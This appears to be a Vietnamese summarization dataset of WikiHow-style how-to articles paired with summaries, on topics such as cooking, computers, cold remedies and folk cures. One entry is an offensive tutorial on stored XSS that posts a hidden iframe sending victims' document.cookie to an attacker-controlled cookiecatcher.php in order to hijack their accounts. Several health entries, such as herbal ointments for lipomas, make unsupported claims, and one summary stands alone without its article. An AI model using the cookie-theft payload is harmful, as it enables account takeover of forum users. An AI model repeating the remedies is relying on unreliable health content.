Bạn sẽ muốn cắn móng nếu thấy cạnh móng sần sùi. Vì vậy, tốt nhất bạn nên đi làm móng để tránh cắn móng. Móng được cắt, tỉa và sơn (ngay cả khi chỉ dùng sơn trong suốt) cũng khiến bạn ít muốn cắn hơn.  Thử làm móng ít nhất một lần mỗi tuần. Tỉa, dũa và đánh bóng móng rồi thoa một lớp sơn móng lên. Có thể mua sơn móng đặc biệt dùng để ngăn thói quen cắn móng. Những loại sơn này có vị đắng khi bạn cắn vào móng. Căng thẳng có thể làm tăng khả năng muốn cắn móng tay.  Do đó, kiểm soát căng thẳng có thể giúp bạn giảm ham muốn cắn móng tay. Một số cách giúp giảm căng thẳng mà bạn nên thử gồm có:   Tham gia nhiều hoạt động thể chất, ví dụ như đi bộ, chạy bộ, đạp xe, khiêu vũ hoặc bơi lội Tập Yoga  Thiền.  Tập hít thở sâu . Tay không có việc gì làm sẽ khiến bạn muốn cắn móng tay. Bằng cách giữ cho đôi tay luôn bận rộn, bạn có thể giảm ý muốn cắn móng tay. Một số hoạt động mà bạn có thể thử bao gồm:  Chơi một loại nhạc cụ Đan hoặc móc len Làm đồ trang sức  Nấu nướng. Nếu nỗ lực ngừng cắn móng tay không hiệu quả, bạn nên cân nhắc việc đến gặp chuyên gia chăm sóc sức khỏe tâm thần, ví dụ như nhà trị liệu, để được giúp đỡ. Nhà trị liệu có thể xác định nguyên nhân gốc rễ của thói quen cắn móng và giúp bạn tìm cách ngừng hành vi này.

Summary: Làm móng. Kiểm soát căng thẳng. Tìm cách giữ cho bàn tay bận rộn. Đến gặp nhà trị liệu.


Nếu bạn làm đổ nước lên bàn phím, hãy ngắt kết nối thiết bị và lau sạch chất lỏng. Bạn cần chắc rằng mình đã rút dây bàn phím hoặc tắt nguồn máy tính từ trước. Nếu chất lỏng đã khô đa phần dính trên mặt phím, bạn có thể dùng tăm bông có tẩm cồn để lau.  Lau xung quanh phím để làm sạch phần giữa mũ phím và bàn phím. Sau khi cồn khô, bạn hãy kiểm tra xem bàn phím đã sử dụng bình thường chưa.

Summary: Lau sạch chất lỏng bị đổ lên bàn phím. Sử dụng cồn để lau nếu chất lỏng đã khô lại. Lau phía trên các phím nhằm đảm bảo bàn phím không còn bị dính nữa. Dùng tăm bông lau quanh các cạnh. Kiểm tra xem các phím đã hết kẹt chưa.


Hãy tìm sản phẩm giả trứng, không phải sản phẩm thay thế trứng vì loại này đôi khi vẫn có trứng. Hãy dùng sản phẩm giả trứng trong các công thức chỉ toàn trứng, như món trứng bác.  Sản phẩm giả trứng Ener-G là sản phẩm thuần chay phổ biến mà bạn có thể thử. Hãy tìm sản phẩm tại cửa hàng thực phẩm chay. Thực hiện theo hướng dẫn trên hộp của mỗi sản phẩm. Thông thường, bạn cần khuấy sản phẩm giả trứng với nước và thêm vào công thức. Tránh các sản phẩm như Egg Beaters và Better’n Eggs vì đây là sản phẩm thay thế trứng nên vẫn có trứng! Đậu phụ thay thế hoàn hảo cho trứng trong món trứng bác, bánh quiche và kem sữa trứng. Hãy xay nhuyễn đậu phụ để đảm bảo món ăn không bị vón hoặc lợn cợn. Dùng 1/4 cốc đậu phụ cho mỗi quả trứng.  Dùng đậu phụ non vì loại cứng rất khó xay mịn. Đảm bảo đó là đậu phụ nguyên chất và chưa được rán hay nêm gia vị. Đậu phụ sẽ không xốp như trứng, nhưng kết cấu thì tương tự như trứng. Khoai tây nghiền rất thích hợp cho các món mặn như chả thịt, chả chay hoặc thịt burger. Hãy thêm 1/4 cốc (30gr) khoai tây nghiền để thay thế 1 quả trứng. Bạn có thể dùng khoai tây nguyên củ được nghiền nhỏ, nhưng khoai tây nghiền khô và khoai tây nghiền ăn liền cũng hiệu quả. Đậu phụ có chứa lecithin, giống như một loại kem/sữa tạo độ sệt và sự cân bằng trong công thức thuần chay của mayonnaise, nước sốt ranch và nước sốt hollandaise. Bạn nhớ dùng đậu phụ non không gia vị, không cứng và chưa rán. Dùng 1/4 cốc đậu phụ xay nhuyễn thay cho 1 quả trứng. Nếu bạn làm món trứng bác thuần chay và vẫn muốn tạo màu vàng của trứng, nghệ sẽ rất hiệu quả. Ngoài ra, nghệ cũng thêm một chút vị đắng chát cho món ăn.  Chỉ dùng một ít nghệ trong công thức để biến đậu phụ hoặc nguyên liệu thay thế trứng thành màu vàng. Nhớ khuấy để nghệ được quyện đều vào món ăn.

Summary: Dùng sản phẩm giả trứng (egg replacer) có bán tại cửa hàng cho các công thức sử dụng nhiều trứng. Dùng đậu phụ thay trứng khi phải dùng nhiều trứng cho món ăn. Dùng khoai tây nghiền để tạo độ sệt. Dùng đậu phụ non như một loại sữa/kem trong các món sốt thuần chay. Dùng nghệ để tạo màu cho món ăn không có trứng.


Bật lò nướng đến 162 độ C. Cho 2 thìa canh dầu thực vật hoặc dầu hạt cải vào nồi to hoặc nồi gang dày. Đun nóng dầu với lửa vừa và rắc muối tiêu lên miếng thịt. Bạn có thể dùng chảo gang lớn nếu chế biến miếng thịt mỏng. Khi dầu đã nóng và sôi liu riu, bạn hãy cho miếng thịt vào nồi. Miếng thịt sẽ kêu xèo xèo ngay khi chạm đáy nồi. Áp chảo miếng thịt trên lửa vừa cho đến khi thịt chuyển màu vàng nâu. Dùng kẹp gắp lật miếng thịt cho vàng đều cả hai mặt. Gắp miếng thịt ra khỏi nồi khi đã áp chảo xong. Đổ bỏ dầu ăn còn lại trong chảo. Đeo găng tay chịu nhiệt khi áp chảo thịt, vì bạn có thể bị dầu nóng bắn lên tay. Rót vào nồi 3/4 cốc chất lỏng. Chất lỏng sẽ giữ ẩm cho miếng thịt khi nấu và còn giúp thịt mềm hơn. Bạn có thể thử dùng một trong các chất lỏng sau đây để hầm:  Nước dùng bò hoặc rau củ Nước ép táo hoặc rượu táo Nước ép nam việt quất Nước ép cà chua Rượu vang không ngọt pha với nước dùng Nước 1 thìa canh gia vị lỏng như sốt barbecue, mù tạt Dijon, nước tương, nước sốt ướp thịt bò, sốt  Worcestershire (Bạn có thể pha loãng các gia vị lỏng với nước). Để tăng thêm hương vị cho món hầm, bạn có thể trộn thêm các loại gia vị khô tùy thích. Trộn khoảng 1 thìa cà phê gia vị khô hoặc 1 thìa canh gia vị tươi. Bạn hãy thử dùng các gia vị như:  Húng quế Gia vị Herbes de Provence Gia vị Ý Lá kinh giới cay Cỏ xạ hương Dùng nắp nặng đậy nồi gang và đặt vào lò. Với miếng thịt nạc vai 1 -1,5 kg bạn cần hầm trong khoảng 1 tiếng 15 phút đến 1 tiếng 45 phút. Miếng thịt sẽ hoàn toàn mềm khi đã hầm xong và bạn có thể dọn lên. Nếu bạn kiểm tra nhiệt độ, miếng thịt bò sẽ có nhiệt độ 62 độ C nếu được nấu kiểu tái chín, và 79 độ C nếu chín kỹ. Để kiểm tra độ mềm, bạn có thể châm dĩa vào miếng thịt. Nếu thịt đã mềm, bạn có thể xiên qua dễ dàng.

Summary: Làm nóng trước lò nướng và ướp thịt. Áp chảo miếng thịt. Rót chất lỏng vào nồi. Trộn thêm gia vị khô. Hầm thịt trong nồi.


Các loại dầu tự nhiên như dầu neem và dầu hạt lanh là chất nền tuyệt vời cho thuốc mỡ. Bạn hãy thử một số cách kết hợp các loại dầu và thảo mộc khác nhau.  Dầu neem là chất làm se giúp bảo vệ da. Loại dầu này được sử dụng phổ biến trong y học Ayurvedic (Ấn Độ cổ) để điều trị u mỡ.  Dầu hạt lanh có hàm lượng cao các a-xít béo omega-3 và omega-6. A-xít béo omega-3 và omega-6 có tác dụng giảm viêm. Bạn nên đảm bảo mua loại dầu hạt lanh được chứng nhận không chứa các kim loại nặng, chẳng hạn như chì và thủy ngân. Trộn đều 1 thìa cà phê cây tràng sao với 2-3 thìa canh dầu neem hoặc dầu hạt lanh. Bôi thuốc lên u mỡ.  Cây tràng sao có tác dụng giảm mỡ.  Bạn cũng có thể dùng 1-2 thìa canh trà xanh để nguội thay cho dầu neem hay dầu hạt lanh để tạo thành hỗn hợp bột nhão. Trộn 1 thìa cà phê nghệ với 2-3 thìa canh dầu neem hoặc dầu hạt lanh. Xoa thuốc này lên u mỡ. Nghệ sẽ khiến da chuyển thành màu vàng hoặc cam. Bạn nên dùng băng che lên khối u mỡ để bảo vệ quần áo.  Tương tự như dầu neem, nghệ cũng được sử dụng rộng rãi trong y học Ayurvedic. Để trộn thành bột nhão, bạn có thể trộn nghệ với 1-2 thìa canh trà xanh để nguội thay thế cho dầu neem hoặc dầu hạt lanh. Trộn ½ thìa cà phê cây xô thơm khô với 2-3 thìa canh dầu neem hoặc dầu hạt lanh. Thoa dầu lên u mỡ.  Thay thế dầu neem và dầu hạt lanh bằng 1-2 thìa canh trà xanh để nguội để làm thành bột nhão. Cây xô thơm được sử dụng trong y học cổ truyền Trung Hoa để đánh tan mô mỡ.

Summary: Pha chế thuốc mỡ bằng dầu và thảo mộc tự nhiên. Trộn cây tràng sao với dầu tự nhiên hoặc trà làm chất nền. Làm thuốc mỡ nghệ. Trộn cây xô thơm khô vào dầu neem hoặc dầu hạt lanh.


Biotin thúc đẩy sự phát triển và độ chắc khỏe của móng, tóc và da. Cố gắng tiêu thụ 30-40 microgam mỗi ngày bằng thực phẩm và thực phẩm chức năng. Ngũ cốc nguyên hạt, nấm, chuối, cá hồi và bơ là những nguồn cung cấp biotin tuyệt vời. Axit folic hay vitamin B9 giúp ngăn ngừa tổn thương tế bào thần kinh và bảo vệ sức khỏe hồng cầu. Đây là vitamin tốt nhất giúp móng phát triển và không thể tiêu thụ nhiều vì cơ thể có thể thải ra lượng dư thừa một cách tự nhiên. Cá, thịt đỏ, phô mai và các sản phẩm đậu nành tăng cường rất giàu axit folic. Vitamin A cũng giúp tăng cường sức khỏe của móng. Liều khuyến cáo mỗi ngày là từ 700-900 microgam. Khoai lang, cà rốt, bí đỏ và rau xanh rất giàu vitamin A. Vitamin C được biết là có khả năng tăng cường sức khỏe miễn dịch. Điều này có nghĩa là Vitamin C giúp phục hồi cơ thể từ bên trong. Cơ thể được phục hồi sẽ thúc đẩy móng phát triển khỏe mạnh. Cam, cải xoăn, dâu tây và ớt chuông là những thực phẩm giàu vitamin C.

Summary: Tăng cường vitamin H (biotin). Ăn thực phẩm chứa axit folic. Tiêu thụ vitamin A. Tăng cường vitamin C.


Bán kính hình tròn sẽ rất dễ tính nếu đề bài cho dữ kiện đường kính. Nếu đang tính toán trên một hình tròn cụ thể,ta có thể đo đường kính bằng cách đặt thước vào hình tròn sao cho cạnh thước đi qua tâm hình tròn, chạm vào cả hai điểm đối diện trên đường tròn.  Nếu không chắc vị trí tâm của hình tròn ở đâu, bạn hãy đặt thước ngang qua hình tròn theo ước tính. Giữ cho vạch số không trên thước luôn sát vào đường tròn và chầm chậm di chuyển đầu kia của thước quanh đường tròn. Số đo lớn nhất mà bạn tìm được sẽ là số đo đường kính. Ví dụ, hình tròn của bạn có thể có đường kính 4 cm. Bán kính của hình tròn luôn luôn bằng một nửa độ dài của đường kính.   Ví dụ, nếu đường kính hình tròn là 4 cm thì bán kính của nó sẽ là 4 cm ÷ 2 = 2 cm. Trong công thức toán học, bán kính có ký hiệu là r và đường kính là d. Công thức này trong sách giáo khoa có thể được ghi như sau: r=d2{\displaystyle r={\frac {d}{2}}}.

Summary: Tìm đường kính hình tròn trong đề bài. Chia đôi đường kính.


Lưu ý rằng phương pháp này không hiệu quả với những trang an toàn. Bạn sẽ phải nhập một số code (mã lập trình) đặc biệt vào phần “post” (Đăng) để thu thập toàn bộ dữ liệu của những người nhấp chuột vào nó.  Bạn nên kiểm tra xem liệu code này có bị lọc bởi hệ thống hay không. Hãy đăng <script>window.alert(“test”)</script>Nếu hộp cảnh báo xuất hiện khi bạn nhấp chuột vào bài đăng thì nghĩa là website đó không an toàn. Mục đích của cuộc tấn công này là chiếm được cookie của người sử dụng, từ đó truy cập vào tài khoản trên các website có quy trình đăng nhập không an toàn. Lúc này, bạn cần chương trình đánh chặn cookie nhằm chiếm và chuyển hướng cookie của đối tượng mục tiêu. Hãy tải chương trình này lên website hỗ trợ php mà bạn có thể truy cập vào và tham khảo thêm về code của các chương trình đánh chặn. Nhập mã phù hợp vào bài đăng được dùng để chiếm cookie và gửi chúng về trang của bạn. Bạn nên nhập một số văn bản sau đoạn code để bài đăng bớt đáng ngờ và không bị xóa. Chẳng hạn như bạn có thể dùng <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe> Lúc này, bạn có thể sử dụng tùy ý thông tin cookie được lưu vào website của bạn.

Summary: Tìm một trang dễ tấn công cho phép bạn đăng tải nội dung, chẳng hạn như một diễn đàn nào đó. Vào và đăng tải nội dung. Tạo và tải chương trình đánh chặn cookie của bạn. Đăng chương trình đánh chặn cookie của bạn. Sử dụng cookie thu thập được.


Có 4 kiểu cổng kết nối chính trên Macbook. Việc biết được kiểu kết nối sẽ giúp bạn xác định được các thiết bị cần có.   HDMI - Cổng HDMI nhìn giống cổng USB nhưng dài hơn và dẹt hơn, có rãnh nhỏ ở hai bên. Phía trên cổng có in chữ "HDMI". Đây là tiêu chuẩn hiện tại để kết nối với thiết bị HD, hầu hết máy tính Mac sản xuất sau 2012 đều có cổng này. HDMI không yêu cầu bộ chuyển đổi nào khác. Thunderbolt - Cổng này nhỏ hơn cổng USB, có biểu tượng tia sét phía trên cổng. Bạn cần bộ chuyển đổi Thunderbolt sang HDMI để kết nối với HDTV. Mini DisplayPort - Cổng này nhìn giống hệt cổng Thunderbolt, có biểu tượng chiếc hộp nhỏ với đường kẻ ở hai bên. Micro-DVI - Đây là cổng cũ nhất mà bạn có thể sử dụng. Biểu tượng của cổng này giống với cổng Mini DisplayPort, nhưng cổng này nhỏ hơn cổng USB. Chúng có thể nằm phía sau hoặc cạnh TV. Cổng đầu vào phổ biến nhất trên TV là HDMI, DVI và VGA. Nếu có thể kết nối HDMI với HDMI, bạn chỉ cần một dây cáp cho cả âm thanh và hình ảnh. Với các kết nối khác, bạn cần dùng cáp âm thanh và hình ảnh riêng. Ghi nhớ tên cổng đầu vào vì sau đó bạn cần phải thiết lập đổi sang màn hình TV. Sau khi biết được cổng kết nối của Mac mà TV hỗ trợ, bạn có thể mua bộ định tuyến mà mình cần.  Nếu Mac và TV đều có cổng HDMI, bạn chỉ cần mua cáp HDMI tiêu chuẩn. Nếu TV hỗ trợ HDMI nhưng Mac chỉ có cổng Thunderbolt hoặc Mini DisplayPort, bạn phải mua bộ chuyển đổi Thunderbolt/Mini DisplayPort sang HDMI. Sau khi mua bộ chuyển đổi, bạn cần mua cáp. Nếu bộ chuyển đổi dùng để chuyển sang cổng HDMI thì hãy mua cáp HDMI. Chất lượng hình ảnh của cáp rẻ và cáp đắt không khác biệt nhiều. Nếu bạn kết nối qua cổng DVI hoặc VGA, bạn cần mua cả cáp âm thanh và hình ảnh. Kết nối bộ chuyển đổi video với cổng hiển thị trên Mac. Nếu cả máy tính và TV đều có cổng HDMI, bạn chỉ cần dùng cáp HDMI tiêu chuẩn để kết nối hai thiết bị. Nếu không dùng cáp HDMI để kết nối TV, bạn sẽ cần cáp âm thanh để truyền tín hiệu âm thanh từ Mac sang TV hoặc hệ thống âm thanh trong nhà. Dùng cáp âm thanh 3.5mm để kết nối jack cắm tai nghe trên Mac với cổng đầu vào âm thanh trên TV hoặc thiết bị nhận. Chọn đầu vào kết nối với máy tính. Một số TV có nhiều đầu vào giống nhau nên hãy chắc chắn bạn chọn chính xác. Đa số các trường hợp, màn hình nền sẽ tự động mở rộng cho vừa với màn hình TV.   Tùy chọn này sẽ tự tối ưu hóa độ phân giải với TV bạn kết nối. Bạn sẽ thấy mối quan hệ định hướng giữa hai màn hình. Nó ảnh hưởng tới việc di chuyển con chuột giữa hai màn hình. Đây là thao tác chuyển màn hình chính sang TV. Trong tab "Output" (Đầu ra), chọn "HDMI" nếu bạn kết nối bằng cáp HDMI. Nếu kết nối bằng cáp khác, hãy chọn loại cáp video tương ứng với nguồn.

Summary: Tìm loại cổng video Mac hỗ trợ. Tìm cổng đầu vào trên TV. Mua bộ chuyển đổi phù hợp (nếu cần). Mua cáp phù hợp. Cắm bộ chuyển đổi vào Mac. Dùng cáp video để kết nối bộ chuyển đổi với TV. Chuyển đổi đầu vào trên TV. Nhấp chuột vào trình đơn Apple trên Mac và chọn "System Preferences" (Cài đặt Hệ thống). Chọn mục "Displays" (Hiển thị) trong trình đơn System Preferences. Chọn mục "Best for external display" (Phù hợp nhất với màn hình ngoài) trong trang "Display". Nhấp chuột vào "Arrangement" (Sắp xếp). Kéo thanh công cụ màu trắng trên màn hình máy tính vào TV. Quay lại cửa sổ System Preferences và chọn "Sound" (Âm thanh).


Một số người cho rằng, cách dễ nhất để chữa mắt quỷ là nhờ người gây ra mắt quỷ chạm vào đứa trẻ. Thường thì người ta chỉ vô tình đem đến mắt quỷ, vì vậy có lẽ họ sẽ sẵn lòng chạm vào đứa bé. Vị trí chạm ở đâu không quan trọng – trên bàn tay hoặc trán cũng được.  Niềm tin này thường phổ biến ở các nền văn hóa Mỹ la tinh. Đôi khi người ta cho rằng mắt quỷ là do một người nào đó khen đứa bé mà không cần chạm vào trẻ. Ở Mexico và các quốc gia Mỹ la tinh, một số cha mẹ dùng trứng để chữa mắt quỷ. Họ lăn trứng trên người đứa bé, và thông thường cùng lúc đó nói lời cầu nguyện, sau đó bỏ quả trứng vào bát đặt dưới gối. Họ để như vậy qua đêm, và sáng hôm sau kiểm tra xem lòng trắng trứng có chuyển màu đục không. Nếu có, đứa trẻ đang bị tác động bởi mắt quỷ. Phương pháp này đồng thời cũng giúp trị mắt quỷ. Người ta tin rằng, một số cử chỉ của bàn tay có thể xua đuổi mắt quỷ. Một cử chỉ có tên gọi là mano cornuto, nghĩa là bàn tay nắm lại, ngón trỏ và ngón út giơ lên (bàn tay có biểu tượng hai chiếc sừng). Bạn cần hướng bàn tay xuống đất khi thực hiện cử chỉ này. Một cử chỉ khác là mano fico, được thực hiện bằng cách đặt ngón cái vào giữa ngón trỏ và ngón giữa trong khi  bàn tay nắm lại. Một số người Ý luôn đem theo chiếc sừng nhỏ màu đỏ (corna) bằng cách đeo trên người hoặc gắn vào chùm chìa khóa. Chiếc sừng được đeo để thay thế cho ký hiệu bàn tay hai sừng. Một phương pháp khác được xem là có tác dụng trị mắt quỷ là dùng gương để phản xạ lại nguồn năng lượng xấu. Phương pháp này thường được sử dụng ở Trung Quốc. Bạn chỉ cần treo chiếc gương đằng trước cửa sổ hoặc cửa ra vào trước nhà. Nhiều người Ấn Độ cũng dùng gương để trị hoặc xua đuổi mắt quỷ. Tuy nhiên, thay vì đặt trong nhà, những chiếc gương nhỏ sẽ được khâu vào quần áo hoặc đeo trên người. Các nhà chữa bệnh tâm linh  dân gian thường nhận trị mắt quỷ. Nếu không tự tin khi tự xử lý mắt quỷ, bạn có thể thử nhờ họ tiến hành các nghi thức.

Summary: Phương pháp chạm. Dùng trứng. Thử dùng các cử chỉ của bàn tay. Tìm một chiếc gương lục giác. Nhờ nhà chữa bệnh tâm linh.


Summary: Tìm vận tốc tức thời khi t = 1 với phương trình quãng đường dịch chuyển là s = 5t3 - 3t2 + 2t + 9. Sử dụng phương pháp ước lượng bằng đồ thị để tìm vận tốc tức thời tại (1;3) cho phương trình quãng đường dịch chuyển s = 4t2 - t.


Nếu bạn có dấu hiệu đau mình và sốt cao, thường có hai lựa chọn cho bạn, gồm acetaminophen (Tylenol) và NSAIDs (các thuốc kháng viêm không steroid như aspirin, ibuprofen, và naproxen). Không dùng các thuốc NSAID nếu bạn mắc chứng trào ngược axit hoặc viêm loét dạ dày. Nếu bạn đang sử dụng thuốc thuộc nhóm NSAID để trị các chứng bệnh khác, hãy trao đổi với bác sĩ nếu bạn muốn dùng thêm. Không được sử dụng vượt quá liều lượng được kê trong đơn thuốc hoặc in trên bao bì. Một liều lượng lớn của hai loại thuốc trên có thể đầu độc gan bạn. Bạn sẽ không muốn một tình trạng khác diễn biến xấu đi trong khi đang cố gắng chữa trị tình trạng hiện tại. Nghẹt mũi chưa phải triệu chứng khó chịu duy nhất khi bạn bị cảm lạnh. Đau họng, khô họng, và ngứa họng cũng gây khó chịu tương tự. Cách đơn giản tự nhiên để đối phó với vấn đề này là súc họng với nước muối. Nước sẽ làm dịu cổ họng trong khi muối, chất diệt trùng, tiêu diệt các vết nhiễm trùng. Để pha chế dung dịch súc họng, bạn hòa tan một thìa cà phê muối vào một li nước lọc. Nếu dung dịch quá mặn, một ít muối nở có thể dịu vị mặn. Súc họng với dung dịch này khoảng 4 lần mỗi ngày. Không được nuốt. Quả cơm cháy nổi tiếng với công dụng tăng cường hệ miễn dịch, vì vậy nhiều người đã dùng quả cơm cháy để chữa trị bệnh cảm lạnh. Trong quả cơm cháy có các hợp chất flavonoid với công dụng chống oxi hóa và bảo vệ tế bào khỏi bị tổn thương. Dù vậy, hiện nay mới chỉ có một vài nghiên cứu được thực hiện trên cơ thể người nên các nhà nghiên cứu vẫn chưa có kết luận về hiệu quả thật sự của quả cơm cháy. Bạn có thể chế biến quả cơm cháy theo những cách sau:  Dùng một thìa si-rô cơm cháy mỗi sáng. Loại si-rô này có bán tại các tiệm thuốc tây. Thêm một vài giọt tinh chất cơm cháy (mua tại các cửa hàng thực phẩm) vào nước uống hoặc nước trái cây. Ủ trà - dùng hoa cơm cháy và lá bạc hà để pha trà uống. Mật ong nguyên chất cũng là một phương thuốc tăng cường hệ miễn dịch, sở dĩ mật ong luôn có mặt trong các bài thuốc trị cảm lạnh tự nhiên vì nó có chứa các chất kháng siêu vi và làm dịu cơn rát họng. Bạn có thể ăn trực tiếp hoặc pha vào nước ấm hay trà ấm. Có một phương thuốc trị cảm lạnh cực hiệu quả là pha một thìa đầy bột nghệ vào một li sữa rồi thêm vào đó một thìa mật ong đầy. Nên dùng loại mật ong nuôi trong địa phương để xây dựng hệ miễn dịch khỏe mạnh trước những dịch bệnh ở địa phương. Đã có một số bằng chứng chứng minh tỏi sống có khả năng chữa trị các triệu chứng của bệnh cảm lạnh, rút ngắn thời gian phát tác của bệnh và tăng cường hệ miễn dịch, giúp cơ thể không mắc bệnh về sau.  Có thể bổ sung tỏi vào các món ăn, thức uống nhưng tốt nhất nên ăn sống. Bạn nghiền nát một nhánh tỏi và để nó trong niệt độ phòng khoảng 15 phút để hợp chất allicin sản sinh. Allicin là kháng khuần cực mạnh và là công dụng tuyệt vời nhất của tỏi. Bạn có thể ăn tỏi trực tiếp (nếu dạ dày của bạn khỏe mạnh) hoặc pha trong hỗn hợp mật ong hay dầu ô-liu và kẹp vào bánh quy ăn kèm. Có một số loại thực phẩm tự nhiên được cho là có khả năng trị các triệu chứng cảm lạnh. Những chất này không nhất thiết ‘’chữa lành’’ các triệu chứng ngay lập tức song chúng giúp các triệu chứng nhanh biến mất. Ví dụ:  Cây cúc dại là một loại thảo mộc được cho là có công dụng kháng siêu vi, dùng để chữa chứng nhiễm vi-rút đường hô hấp. Thuốc viên nén được bào chế từ loại thảo mộc này có khả năng rút ngắn thời gian bệnh, nếu bạn dùng thuốc ngay khi bệnh vừa phát tác.  Kẽm đã được chứng minh có khả năng rúy ngắn thời gian phát tác của bệnh cảm lạnh bằng cách ngăn cản sự sinh sản của các vi-rút gây bệnh. Kẽm được bào chế dưới dạng viên nén, viên hình thoi và si-rô.  Nhân sâm là một bài thuốc cổ xưa đã được khoa học hiện đại chứng minh khả năng rút ngắn thời gian phát tác của bệnh cảm lạnh, đồng thời củng cố hệ miễn dịch. Nhân sâm đã được điều chế thành dạng thuốc uống, hoặc bạn có thể đun rễ nhân sâm và dùng như trà.

Summary: Sử dụng thuốc hạ sốt/thuốc giảm đau. Súc họng bằng nước muối khi bị đau họng. Si-rô từ quả cơm cháy. Dùng mật ong nguyên chất. Ăn tỏi.Tỏi có rất nhiều công dụng tuyệt vời đối với sức khỏe do có chứa chất kháng vi sinh vật, chất khử trùng và chất kháng sinh. Dùng thực phẩm chức năng tự nhiên.